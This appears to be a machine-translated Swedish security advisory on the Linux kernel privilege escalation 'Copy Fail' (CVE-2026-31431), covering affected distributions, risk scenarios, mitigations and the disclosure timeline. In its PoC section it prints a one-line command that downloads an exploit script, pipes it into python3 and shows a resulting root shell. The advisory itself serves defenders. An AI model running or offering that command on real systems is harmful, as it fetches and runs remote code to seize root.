Svenska

← Tillbaka till listan

732 byte slår ut hela Linux: episk sårbarhet gömd i nästan tio år

itadol5j

Sårbarheten Copy Fail

🚨 Episk sårbarhet: 732 byte slår ut alla Linux, gömd i nästan tio år

En sårbarhet i Linux-kärnan med namnet ”Copy Fail” (CVE-2026-31431) har offentliggjorts:

  • Ett Python-skript på 732 byte
  • 100 % pålitligt, utan racefönster eller kärnoffset
  • Påverkar alla Linux-distributioner (2017 till idag)
  • Primitiv för containerflykt, attacker mellan olika hyresgäster
  • Gömd i nästan tio år, offentliggjordes först den 29 april 2026

Samma skript fungerar på Ubuntu, RHEL, Amazon Linux och SUSE – utan några ändringar.

🎯 Sårbarhetens kärna

En enda logisk brist

Copy Fail är en rak logisk brist:

  • Inget racefönster behövs: till skillnad från de flesta Linux-LPE:er som kräver racevillkor
  • Inga kärnoffset behövs: inga kärnspecifika offsetvärden krävs
  • 100 % pålitligt: lyckas varje gång
  • Samma skript: fungerar på alla distributioner

Attackkedjan

Copy Fails attackkedja:

  • Logiskt fel i authencesn: en logisk bugg
  • AF_ALG: via kärnans crypto-API
  • splice(): kedjade anrop
  • 4 bytes skrivning till page cache: den slutliga attackprimitiven
  • Utnyttjbar i nästan tio år: från 2017 fram till dess att patchen släpptes

📊 Omfattning av påverkade system

Officiellt verifierade distributioner

Distribution Kärnversion Status
Ubuntu 24.04 LTS 6.17.0-1007-aws ✅ Verifierad
Amazon Linux 2023 6.18.8-9.213.amzn2023 ✅ Verifierad
RHEL 10.1 6.12.0-124.45.1.el10_1 ✅ Verifierad
SUSE 16 6.12.0-160000.9-default ✅ Verifierad

Andra påverkade distributioner

Följande distributionerär också påverkade:

  • Debian
  • Arch Linux
  • Fedora
  • Rocky Linux
  • AlmaLinux
  • Oracle Linux
  • Inbyggda Linux-system

Slutsats: om din kärna byggts mellan 2017 och patchen – är du påverkad.

💡 Högriskscenarier

Scenario Risk Påverkan
Linux-värdar med flera hyresgäster Hög Vilken användare som helst blir root
Kubernetes-/containerkluster Hög Attacker mellan behållare och hyresgäster
CI-runner / byggservrar Hög PR ger root på runnern
Molnbaserad SaaS som kör användarkod Hög Hyresgäst blir host-root
Vanliga Linux-servrar Medel Intern LPE, kan kedjas
Bärbar dator med en användare Låg Behörighetsstegring efter intrång

🔧 Åtgärder

Åtgärd 1: uppdatera kärnan (rekommenderas)

Uppdatera kärnan till en version som innehåller mainline commit a664bf3d603d:

  • Vad fixen gör: återkallar 2017 års in-place-optimering i algif_aead
  • Effekt: page cache-sidor förekommer inte längre i den skrivbara destinationsscatterlistan
  • Status: de flesta större distributioner har släppt patchar

Åtgärd 2: inaktivera modulen algif_aead (tillfälligt)

# 禁用 algif_aead 模块
echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif.conf
rmmod algif_aead 2>/dev/null || true

Påverkan av att inaktivera algif_aead

Komponent Påverkan
dm-crypt / LUKS Påverkas inte
kTLS / IPsec Påverkas inte
OpenSSL / SSH Påverkas inte
AF_ALG i användarutrymmet Kan påverkas

Slutsats: för de flesta system har inaktivering av algif_aead ingen märkbar påverkan.

Åtgärd 3: blockera AF_ALG med seccomp

För obetrodda arbetslaster (behållare, sandlådor, CI) blockeras skapandet av AF_ALG-socketar via seccomp:

# 检查 AF_ALG 使用
lsof | grep AF_ALG
ss -xa

🚀 PoC-demonstration

PoC:en för sårbarheten är offentlig, så att försvarare kan verifiera sina system:

Snabbstart

$ curl https://copy.fail/exp | python3 && su
# id
uid=0(root) gid=1002(user) groups=1002(user)

PoC-detaljer

  • Filstorlek: 732 byte
  • Språk: enbart Python 3.10+ standardbibliotek (os, socket, zlib)
  • Standardmål: /usr/bin/su
  • SHA256: a567d09b15f6e4440e70c9f2aa8edec8ed59f53301952df05c719aa3911687f9

Varning: skriptet ändrar page cache för setuid-binären; ändringarna överlever inte en omstart, men root-skalet är på riktigt. Kör inte i produktionsmiljö.

📅 Tidslinje för offentliggörandet

Datum Händelse
2026-03-23 Anmält till Linux-kärnans säkerhetsteam
2026-03-24 Initial bekräftelse
2026-03-25 Patchförslag och granskning
2026-04-01 Patchen inlämnad till mainline
2026-04-22 CVE-2026-31431 tilldelas
2026-04-29 Offentligt kungörande

🔍 Upptäckt av: Xint Code

Sårbarheten upptäcktes av Xint Code:

  • Skanningstid: cirka 1 timmes skanning av Linux crypto/-undersystemet
  • Upptäcktsmetod: AI-driven kodgranskning
  • Fullständig analys: rotorsak, diagram och operatorprompt
  • Andra fynd: ytterligare sårbarheter med hög allvarlighetsgrad upptäcktes samtidigt och hanteras fortfarande genom koordinerad offentliggörande

Xint Codes meriter

  • 0-day RCE: ZeroDay Cloud, svepte databaskategorin (Redis, PostgreSQL, MariaDB)
  • DARPA AIxCC Top 3: final i DARPA AI Cyber Challenge
  • DEF CON CTF 9×: det mest framgångsrika laget i DEF CON CTF:s historia

📝 Sammanfattning

Copy Fail (CVE-2026-31431) är en episk sårbarhet i Linux-kärnan:

  • 732 byte slår ut alla Linux (2017 till idag)
  • 100 % pålitlig, en enda logisk brist
  • Containerflykt, attacker mellan hyresgäster
  • Gömd i nästan tio år, offentliggjordes 29 april 2026
  • Högriskscenarier: värdar med flera hyresgäster, containerkluster, CI-runners, SaaS
  • Åtgärder: uppdatera kärnan eller inaktivera algif_aead
  • Upptäckt av: Xint Code, AI-driven kodgranskning

Nästan tio år gammal episk sårbarhet – ett skript slår ut alla Linux.

Sårbarhetens webbplats:https://copy.fail

GitHub PoC:https://github.com/theori-io/copy-fail-CVE-2026-31431

Teknisk analys:https://xint.io/blog/copy-fail-linux-distributions

Kärnpatch:https://git.kernel.org/stable/c/a664bf3d603dc3bdcf9ae47cc21e0daec706d7a5